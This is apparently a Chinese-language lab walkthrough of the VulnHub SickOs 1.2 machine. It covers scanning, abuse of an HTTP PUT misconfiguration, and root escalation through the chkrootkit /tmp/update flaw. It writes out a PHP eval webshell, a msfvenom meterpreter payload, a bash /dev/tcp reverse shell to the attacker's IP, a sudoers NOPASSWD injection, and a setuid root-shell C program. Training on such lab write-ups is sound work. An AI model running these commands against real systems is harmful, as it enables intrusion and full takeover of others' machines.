SickOs: 1.2渗透测试

SickOs: 1.2来自 <https://www.vulnhub.com/entry/sickos-12,144/>

1,将两台虚拟机网络连接都改为NAT模式

2,攻击机上做namp局域网扫描发现靶机

nmap -sn 192.168.23.0/24

靶机IP地址192.168.23.161,攻击机IP地址192.168.23.140

3,扫描靶机端口服务

nmap -sS -sV -n -T4 -p- 192.168.23.161

仅仅只开放了80端口http服务

4,信息收集查看网站,就是一张图片。网站源代码也没有上面

5,对网站子目录继续爆破扫描

http://192.168.23.161/test/

虽然网站搭建都十分粗糙,但是可以看见使用了一种web服务器软件

lighttpd的基本情况

lighttpd是一个轻量级的Web服务器软件,具有高性能、低资源消耗等特点。它的全称是LightweightHTTPServer,是最早的轻量级Web服务器之一,在性能方面相对较优,比较适合在高负载的环境下运行,能够支持并发地处理大量的连接请求,占用的内存和系统资源较少,适用于资源有限的服务器上运行。它使用C语言编写,采用事件驱动的方式处理和分析请求,可以支持HTTP/1.1协议,支持FastCGI、SCGI等CGI解释器,能通过mod_rewrite和mod_redirect模块实现URL重写和重定向功能。还可以通过扩展模块的方式扩展功能,例如支持PHP、Perl等脚本语言的功能,也能支持SSL/TLS加密等功能,并且支持虚拟主机的功能,可以在一台服务器上运行多个网站,并且隔离不同的网站环境。对于大型的网站集群来说,使用lighttpd可以有效地提高系统的整体性能和稳定性

6,对网站特征进行指纹识别扫描

果然没有使用Apache而是使用了lighttpd

7,检索该软件有无这个版本的公开漏洞 searchsploit lighttpd 1.4.28

没有与之对应的漏洞发现

8,再使用nmap扫描,目的是查看/test目录支持访问的方法

nmap --script http-methods --script-args http-methods.url-path='/test' 192.168.23.161

1. 命令功能解释

  • nmap是一款网络探测和安全审核的工具。
    • --script http - methods:这是指定要使用的脚本,http - methods脚本用于探测目标Web服务器支持的HTTP方法(如GET、POST、PUT、DELETE等)。
    • --script - args http - methods.url - path ='/test':这是为脚本传递参数。在这里是指定在探测HTTP方法时针对的URL路径为/test。
    • 10.0.2.15:这是要扫描的目标IP地址。

2. 可能的结果

  • 如果目标服务器对/test路径没有特殊限制,会返回支持的HTTP方法列表。例如可能返回类似GET、HEAD等常见方法。
    • 如果服务器对该路径有访问控制或者不允许探测,可能会返回错误信息,如连接被拒绝或者权限不足等错误提示。

3. 应用场景

  • 安全审计:可以帮助发现目标Web服务器是否允许不应该被允许的HTTP方法(如危险的PUT或DELETE方法可能被恶意利用来修改或删除服务器上的文件)。
  • Web应用开发测试:开发人员可以使用这个命令来确保他们的Web应用在特定路径下只暴露预期的HTTP方法。

扫描得到支持put方法,这是一种高危的配置错误漏洞,会导致攻击者随意上传高危内容

9,通过burp suite发送put方法上传一句话木马文件

右键发送到repeater模块,更改请求方法 <?php @eval($_POST[hack]);?>

forword发送构造好的请求,可以看到响应码201,表示请求已经成功,并且服务器已经创建了一个新的资源。这个状态码通常在执行POST或PUT请求后返回,表明服务器已经成功处理了请求,并且生成了一个新的资源。

10,蚁剑启动,使用webshell配合一句话木马来控制网站,路径:http://192.168.23.161/test/1.php;密码:hack

打开虚拟终端进行反弹shell,发现怎么都无法将shell弹到攻击机上

可能是因为靶机防火墙限制了端口规则,那就需要找到允许出站的端口。先在攻击机上执行操作:

//备份iptables规则

iptables-save > /tmp/firewall.rules

//将所有端口的流量都转发到34444端口

iptables -A PREROUTING -t nat -p tcp --dport 1:65535 -j REDIRECT --to-port 34444

//监听34444端口

nc -lvp 34444

编写shell脚本通过蚁剑上传服务器,实现出站端口自动探测功能

#!/bin/bash
 
# 先创建或清空out.txt 文件
> out.txt 
 
for ((i = 1; i <= 65535; i++)); do
    if timeout 1 nc -vz 192.168.23.140 $i &> /dev/null; then
        echo "$i open" >> out.txt 
    else
        echo "$i closed" >> out.txt 
    fi
done
echo "all port done"

给执行权限执行脚本

chmod +x 1.sh

./1.sh

最后经过探测只有443端口可以走。攻击机重启恢复iptables规则,然后再执行反弹shell

bash -c 'bash -i >& /dev/tcp/192.168.23.140/443 0>&1'

没弹成功,换一种方法

11,使用msfvenom生成攻击载荷模块

msfvenom -p php/meterpreter/reverse_tcp lhost=192.168.23.140 lport=443 R >shell.php

删除木马的注释部分

然后将木马通过curl以put方法上传木马到靶机

curl -v -T shell.php  -H 'Expect:' "http://192.168.23.161/test/"

再启动Metasploit设置监听,准备工作配置

msfconsole -q

use exploit/multi/handler

set payload php/meterpreter/reverse_tcp

set lhost 192.168.23.140

set lport 443

exploit

点击上传的脚本触发获取shell

12,成功获取的靶机的shell,使用python脚本获取一个可交互shell

python -c 'import pty;pty.spawn("/bin/bash")'

13,进行信息收集

id

uname -a

lsb_release -a

可以看到操作系统和内核的版本比较低

14,列出使用者的流程表

ls -la /etc/cron*

chkrootkit 是一个用于检测 Linux 系统中是否存在 rootkit 的工具。Rootkit 是一种恶意软件,它通常通过隐藏自己的存在来获取对系统的控制,且一般在用户不知情的情况下运行。Rootkit 一旦成功植入,攻击者就可以获得对系统的管理员权限(root 权限),并能够悄无声息地进行各种恶意活动。

chkrootkit 通过扫描系统中的各种常见 rootkit 痕迹来检测系统是否受到感染。它的工作原理是:

  1. 检查特征文件:chkrootkit 会检查常见的 rootkit 文件和脚本,以确定它们是否在系统中存在。
  2. 检查系统命令的异常:它会扫描一些常见的系统命令是否被篡改或替换成了恶意版本。
  3. 检查可疑进程和网络连接:chkrootkit 会检查系统中的运行进程、打开的端口、网络连接等是否存在异常,尤其是那些可能是 rootkit 相关的恶意活动。

常见的检测项目包括:

  • 检查隐藏进程:rootkit 常常会隐藏其进程,以避免被发现。
  • 检测替换的命令:rootkit 会替换一些常见的系统命令(如 ps、ls 等),使得它们显示的结果无法反映真实的系统状态。
  • 网络通信:rootkit 可能会和外部控制服务器进行通信,用于接收命令或发送数据。

查看工具版本,可以看到整个工具的程序是写入了环境变量的 chkrootkit -V

15,然后检索这个版本的chkrootkit有什么公开exp

可以看到存在两个公开的漏洞利用文件

这段文本描述了一个在 chkrootkit 包中发现的严重漏洞,该漏洞可能允许本地攻击者在某些配置下(例如 /tmp 没有挂载为 noexec)获得系统的根权限。

漏洞位于 chkrootkit 脚本中的 slapper() 函数:

slapper (){
   SLAPPER_FILES="${ROOTDIR}tmp/.bugtraq ${ROOTDIR}tmp/.bugtraq.c"
   SLAPPER_FILES="$SLAPPER_FILES ${ROOTDIR}tmp/.unlock ${ROOTDIR}tmp/httpd \
   ${ROOTDIR}tmp/update ${ROOTDIR}tmp/.cinik ${ROOTDIR}tmp/.b"a
   SLAPPER_PORT="0.0:2002 |0.0:4156 |0.0:1978 |0.0:1812 |0.0:2015 "
   OPT=-an
   STATUS=0
   file_port=
 
   if ${netstat} "${OPT}"|${egrep} "^tcp"|${egrep} "${SLAPPER_PORT}" > /dev/null 2>&1
      then
      STATUS=1
      [ "$SYSTEM" = "Linux" ] && file_port=`netstat -p ${OPT} | \
         $egrep ^tcp|$egrep "${SLAPPER_PORT}" | ${awk} '{ print  $7 }' | tr -d :`
   fi
   for i in ${SLAPPER_FILES}; do
      if [ -f ${i} ]; then
         file_port=$file_port $i
         STATUS=1
      fi
   done
   if [ ${STATUS} -eq 1 ] ;then
      echo "Warning: Possible Slapper Worm installed ($file_port)"
   else
      if [ "${QUIET}" != "t" ]; then echo "not infected"; fi
         return ${NOT_INFECTED}
   fi
}

问题出在 file_port=$file_port $i 这一行代码上。由于变量赋值时缺少引号,如果 $file_port 是空的,那么 $i 中指定的所有文件都会以 chkrootkit 运行的用户身份(通常是根用户)执行。

复现步骤:

  1. 在 /tmp 目录下放置一个名为 update 的可执行文件,并且该文件的所有者不是根用户。
  2. 以 uid 0(根用户)身份运行 chkrootkit。

结果:/tmp/update 文件将以根用户身份执行,如果文件中包含恶意内容,则系统将被攻陷。

建议修复方法:在变量赋值时加上引号。

file_port="$file_port $i"

此外,作者还提到会尝试联系 chkrootkit 的上游开发者,尽管该软件包的最新版本发布于 2009 年,能否联系到开发者还是未知数。

16,开始漏洞利用,向update文件中写入将www-date添加到sudo组的命令,并且给/tmp/update添加可执行权限

echo 'echo "www-data  ALL=(ALL)  NOPASSWD:ALL" >> /etc/sudoers' >/tmp/update

chmod +x /tmp/update

查看一下sudo命令能否使用

最后sudo su root切换到root用户

查看flag

2C语言代码提权

编写代码要求将/tmp/update文件的所有者和组更改为root,设置setuid和setgid位为0,然后执行/bin/sh。

#include<unistd.h>

void main(void)

{

system("chown root:root /tmp/update");

system("chmod 4755 /tmp/update");

setuid(0);

setgid(0);

execl("/bin/sh","sh",NULL);

}

 服务器是是禁止下载的,但是可以直接将这个文件上传

curl -v -H 'Expect:' -T shell.c "http://192.168.23.161/test/"

gcc编译并且执行

查看一下防火墙规则就知道为什么渗透测试比较麻烦了

[iptables规则的总体策略]

这些iptables规则的总体策略是比较严格的。在filter表中,默认的INPUT策略被设置为DROP(丢弃所有入站流量),OUTPUT策略也被设置为DROP(丢弃所有出站流量),而FORWARD策略为ACCEPT(允许转发流量)。

[入站规则(INPUT)]

  • 对于入站的TCP流量,允许目标端口(--dport)为22(通常用于SSH服务)、80(用于HTTP服务)、源端口(--sport)为8080以及源端口为443(通常用于HTTPS服务)的流量通过。这意味着外部主机可以通过这些端口与本地主机建立连接(针对特定的服务)。

[出站规则(OUTPUT)]

  • 对于出站的TCP流量,允许源端口(--sport)为22、80,目标端口(--dport)为8080和443的流量通过。这表示本地主机可以通过这些端口与外部主机进行通信(针对特定的服务)。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值